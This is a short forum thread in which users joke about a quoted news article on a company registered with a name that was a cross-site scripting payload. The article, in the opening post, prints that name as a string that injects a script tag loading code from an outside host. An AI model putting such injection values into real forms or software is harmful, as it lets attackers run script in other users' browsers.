Who on here was it...

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LondonManc replied

8 November 2020, 11:16
Was he called Bobby Tables?
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Andy2 replied

8 November 2020, 10:59
how did he even register the company name.
I would expect it would have crashed companies house or hmrc database
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BR14 replied

7 November 2020, 20:57
Originally posted by xoggoth View Post

Nick Fitz is the obvious suspect.

Grass.
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AtW replied

7 November 2020, 20:56
Nah, he got an alibi - he was under lock down...
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xoggoth replied

7 November 2020, 20:51
Nick Fitz is the obvious suspect.
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AtW started a topic Who on here was it...

7 November 2020, 20:48
Who on here was it...

“ Companies House has forced a company to change its name after it belatedly realised it could pose a security risk.

The company now legally known as “THAT COMPANY WHOSE NAME USED TO CONTAIN HTML SCRIPT TAGS LTD” was set up by a British software engineer, who says he did it purely because he thought it would be “a fun playful name” for his consulting business.

He now says he didn’t realise that Companies House was actually vulnerable to the extremely simple technique he used, known as “cross-site scripting”, which allows an attacker to run code from one website on another.

The original name of the company was ““><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD”. By beginning the name with a quotation mark and chevron, any site which failed to properly handle the HTML code would have mistakenly thought the company name was blank, and then loaded and executed a script from the site XSS Hunter, which helps developers find cross-site scripting errors.”

Company forced to change name that could be used to hack websites | UK news | The Guardian

That looks so Brilloant...
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